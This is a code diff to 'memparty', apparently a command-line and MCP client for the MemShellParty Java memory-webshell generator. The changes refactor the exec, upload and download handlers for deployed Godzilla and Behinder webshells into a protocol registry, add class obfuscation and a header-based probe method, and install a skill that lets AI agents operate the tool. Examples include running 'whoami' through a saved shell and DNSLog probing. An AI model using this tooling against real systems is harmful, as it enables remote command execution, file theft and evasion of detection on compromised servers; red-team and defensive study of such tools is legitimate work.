           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await execGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.command,
-              { ...common, os: args.os }
-            );
-            break;
-          case "behinder":
-            result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
-            break;
-          default:
-            throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
+        const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -4166,38 +5024,24 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
         const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await downloadGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.remotePath,
-              { ...common, remoteCharset: args.remoteCharset }
-            );
-            break;
-          case "behinder":
-            result = await downloadBehinder(
-              conn.url,
-              conn.pass ?? "rebeyond",
-              args.remotePath,
-              common
-            );
-            break;
-          default:
-            throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
+        let result = await protocol.download(
+          { conn, common, options: { remoteCharset: args.remoteCharset } },
+          args.remotePath
+        );
         if (result.ok && result.data !== void 0) {
           try {
             writeFileSync5(localPath, result.data);
@@ -4249,40 +5093,25 @@ function createMcpServer(client) {
           key: args.key,
           headerName: args.headerName,
           headerValue: args.headerValue,
-          insecure: args.insecure
+          insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol
         });
         const common = {
           headerName: conn.headerName,
           headerValue: conn.headerValue,
           extraHeaders: conn.extraHeaders,
           timeoutMs: args.timeoutMs,
-          insecure: conn.insecure
+          insecure: conn.insecure,
+          upgradeProtocol: conn.upgradeProtocol
         };
         const data = readUploadFile(args.localPath);
-        let result;
-        switch (conn.tool) {
-          case "godzilla":
-            result = await uploadGodzilla(
-              conn.url,
-              conn.pass ?? "pass",
-              conn.key ?? "key",
-              args.remotePath,
-              data,
-              { ...common, remoteCharset: args.remoteCharset }
-            );
-            break;
-          case "behinder":
-            result = await uploadBehinder(
-              conn.url,
-              conn.pass ?? "rebeyond",
-              args.remotePath,
-              data,
-              common
-            );
-            break;
-          default:
-            throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
-        }
+        const protocol = requireProtocol(conn.tool);
+        if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
+        const result = await protocol.upload(
+          { conn, common, options: { remoteCharset: args.remoteCharset } },
+          args.remotePath,
+          data
+        );
         let savedAs;
         if (result.ok && conn.targetName === void 0) {
           savedAs = autoSaveShell(conn);
@@ -4329,6 +5158,7 @@ function createMcpServer(client) {
           headerName: args.headerName,
           headerValue: args.headerValue,
           insecure: args.insecure,
+          upgradeProtocol: args.upgradeProtocol,
           remark: args.shellRemark
         });
         logOp({
@@ -4493,7 +5323,7 @@ function registerMcpCommand(program) {
 }
 
 // src/commands/parse-classname.ts
-import { readFileSync as readFileSync9 } from "fs";
+import { readFileSync as readFileSync10 } from "fs";
 function registerParseClassNameCommand(program) {
   program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
     "after",
@@ -4506,7 +5336,7 @@ Examples:
   ).action(async (base64, opts, cmd) => {
     let classBase64;
     if (opts.file) {
-      classBase64 = readFileSync9(opts.file).toString("base64");
+      classBase64 = readFileSync10(opts.file).toString("base64");
     } else if (base64) {
       classBase64 = base64.trim();
     } else {
@@ -4520,7 +5350,7 @@ Examples:
 }
 
 // src/commands/probe.ts
-import { Option as Option5 } from "commander";
+import { Option as Option6 } from "commander";
 
 // src/wizard/probe-wizard.ts
 import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
@@ -4528,26 +5358,40 @@ var JDK_CHOICES2 = [
   { name: "server default", value: "" },
   ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
 ];
-var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
-var PROBE_CONTENTS = ["BasicInfo", "Server", "OS", "JDK", "Bytecode", "Command"];
+var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
+var PROBE_CONTENTS = {
+  ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
+  ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
+  DNSLog: ["Server", "JDK"],
+  Sleep: ["Server"]
+};
 async function runProbeWizard(client) {
-  const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
-  const servers = Object.keys(config);
+  const [packerTree, discoveredServers, config] = await Promise.all([
+    client.getPackerTree(),
+    client.getProbeResponseServers(),
+    client.getConfig()
+  ]);
+  const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
   const probeMethod = await select2({
     message: "Probe method",
     choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
   });
   const probeContent = await select2({
     message: "Probe content",
-    choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c }))
+    choices: PROBE_CONTENTS[probeMethod].map((content) => ({
+      name: content,
+      value: content
+    }))
   });
-  const packer = await select2({
-    message: "Packer",
-    choices: packerTree.flatMap((p) => [
-      { name: p.name, value: p.name },
-      ...p.children.map((c) => ({ name: `  ${c}`, value: c }))
-    ])
+  const category = await select2({
+    message: "Packer category",
+    choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
   });
+  const selected = packerTree.find((packer2) => packer2.name === category);
+  const packer = selected.children.length ? await select2({
+    message: "Packer variant",
+    choices: selected.children.map((name) => ({ name, value: name }))
+  }) : category;
   const opts = { probeMethod, probeContent, packer };
   switch (probeMethod) {
     case "DNSLog":
@@ -4561,15 +5405,19 @@ async function runProbeWizard(client) {
       opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
       break;
     case "ResponseBody":
+    case "ResponseHeader":
       opts.server = await select2({
         message: "Server",
         choices: servers.map((s) => ({ name: s, value: s }))
       });
-      opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
+      opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
       opts.commandTemplate = await input2({
         message: "Command template (optional, {command} placeholder)",
         default: ""
       });
+      if (probeMethod === "ResponseHeader") {
+        opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
+      }
       break;
     default:
       break;
@@ -4585,7 +5433,8 @@ async function runProbeWizard(client) {
       { name: "static initialize", value: "staticInitialize", checked: true },
       { name: "bypass Java module", value: "byPassJavaModule" },
       { name: "lambda suffix", value: "lambdaSuffix" },
-      { name: "debug", value: "debug" }
+      { name: "debug", value: "debug" },
+      { name: "class obfuscation (v3+)", value: "obfuscate" }
     ]
   });
   opts.shrink = toggles.includes("shrink");
@@ -4593,6 +5442,7 @@ async function runProbeWizard(client) {
   opts.byPassJavaModule = toggles.includes("byPassJavaModule");
   opts.lambdaSuffix = toggles.includes("lambdaSuffix");
   opts.debug = toggles.includes("debug");
+  opts.obfuscate = toggles.includes("obfuscate");
   const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
   if (!confirmed) throw new Error("Cancelled by user.");
   return opts;
@@ -4610,6 +5460,8 @@ function toOptions2(o) {
     byPassJavaModule: o.bypassModule,
     shrink: o.shrink,
     lambdaSuffix: o.lambdaSuffix,
+    obfuscate: o.obfuscate,
+    obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
     staticInitialize: o.staticInitialize,
     shellClassName: o.shellClassName,
     host: o.host,
@@ -4617,11 +5469,12 @@ function toOptions2(o) {
     sleepServer: o.sleepServer,
     server: o.server,
     reqParamName: o.reqParamName,
-    commandTemplate: o.commandTemplate
+    commandTemplate: o.commandTemplate,
+    respHeaderName: o.respHeaderName
   };
 }
 function registerProbeCommand(program) {
-  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
     "after",
     `
 Examples:
@@ -4631,6 +5484,7 @@ Examples:
   $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
   $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
       --sleep-server Tomcat --seconds 5
+  $ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
 
 Note: a probe is a detection shell that reports what the target supports.
 The server name reported by '-c Server' is the value to pass as
@@ -4683,13 +5537,20 @@ The server name reported by '-c Server' is the value to pass as
       meta: probeMeta
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(response, null, 2)}
+      const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
+      const doc = outputFile === void 0 ? response : { ...response, outputFile };
+      process.stdout.write(`${JSON.stringify(doc, null, 2)}
 `);
       return;
     }
     const r = response.probeShellResult;
     logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
-    if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    if (hasMultiplePackResults(response)) {
+      if (opts.output !== void 0) {
+        throw new Error(
+          `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+        );
+      }
       for (const [name, value] of Object.entries(response.allPackResults)) {
         logInfo(`
 === ${name} ===`);
@@ -4698,10 +5559,7 @@ The server name reported by '-c Server' is the value to pass as
       }
       return;
     }
-    if (response.packResult === void 0) {
-      throw new Error("Server returned no packResult.");
-    }
-    const result = emitPayload(response.packResult, {
+    const result = emitSinglePackResult(response, {
       outFile: opts.output,
       decode: opts.decode
     });
@@ -4794,7 +5652,7 @@ ${lines.join("\n")}
 }
 
 // src/commands/skill.ts
-import { Command as Command7 } from "commander";
+import { Command as Command8 } from "commander";
 
 // src/core/skill-install.ts
 import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
@@ -4838,7 +5696,7 @@ function installSkill(scopes, opts = {}) {
 // src/commands/skill.ts
 function registerSkillCommand(program) {
   program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
-    new Command7("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
+    new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
       "after",
       `
 The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
@@ -4889,7 +5747,7 @@ Examples:
 }
 
 // src/commands/target.ts
-import { Option as Option6 } from "commander";
+import { Option as Option7 } from "commander";
 function parseExtraHeaders3(lines) {
   const headers = {};
   for (const line of lines ?? []) {
@@ -4939,14 +5797,15 @@ function registerTargetCommand(program) {
   program.command("save").description(
     "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
   ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
-    new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
-  ).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
+    new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
+  ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
     "after",
     `
 Examples:
   $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
       -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
       --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
+  $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
   $ memparty list                            # show saved targets
   $ memparty exec web1/bh9060 --cmd "whoami"
 
@@ -4964,7 +5823,10 @@ save is for choosing the name by hand.
       return;
     }
     if (!opts.tool) {
-      process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
+      process.stderr.write(
+        `Error: --tool is required (available: ${protocolNames().join(", ")})
+`
+      );
       process.exitCode = 1;
       return;
     }
@@ -4979,6 +5841,8 @@ save is for choosing the name by hand.
       headerName: opts.headerName,
       headerValue: opts.headerValue,
       extraHeaders: parseExtraHeaders3(opts.header),
+      profile: opts.profile,
+      upgradeProtocol: opts.upgradeProtocol,
       insecure: opts.insecure || void 0,
       remark: opts.shellRemark
     };
@@ -5086,7 +5950,7 @@ save is for choosing the name by hand.
 
 // src/commands/transfer.ts
 import { writeFileSync as writeFileSync6 } from "fs";
-import { Option as Option7 } from "commander";
+import { Option as Option8 } from "commander";
 function parseExtraHeaders4(lines) {
   const headers = {};
   for (const line of lines ?? []) {
@@ -5109,7 +5973,8 @@ function resolveTransfer(name, opts, timeoutMs) {
       headerName: opts.headerName,
       headerValue: opts.headerValue,
       extraHeaders: parseExtraHeaders4(opts.header),
-      insecure: opts.insecure
+      insecure: opts.insecure,
+      upgradeProtocol: opts.upgradeProtocol
     });
   } catch (err) {
     reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -5123,7 +5988,8 @@ function resolveTransfer(name, opts, timeoutMs) {
       headerValue: conn.headerValue,
       extraHeaders: conn.extraHeaders,
       timeoutMs,
-      insecure: conn.insecure
+      insecure: conn.insecure,
+      upgradeProtocol: conn.upgradeProtocol
     }
   };
 }
@@ -5158,8 +6024,8 @@ function printResult(result, localPath, savedAs, json) {
 }
 function registerDownloadCommand(program) {
   program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
-  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
+    new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
+  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -5249,8 +6115,8 @@ is never overwritten unless --force is given.
 }
 function registerUploadCommand(program) {
   program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
-  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
+    new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
+  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -5466,7 +6332,7 @@ async function startRepl(build) {
 
 // src/cli.ts
 function buildProgram() {
-  const program = new Command11();
+  const program = new Command12();
   program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
     "--api <url>",
     `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -5494,6 +6360,7 @@ Every subcommand has its own examples: memparty <command> --help
   registerGenCommand(program);
   registerProbeCommand(program);
   registerConfigCommand(program);
+  registerBytecodeCommand(program);
   registerConnectCommand(program);
   registerExecCommand(program);
   registerDownloadCommand(program);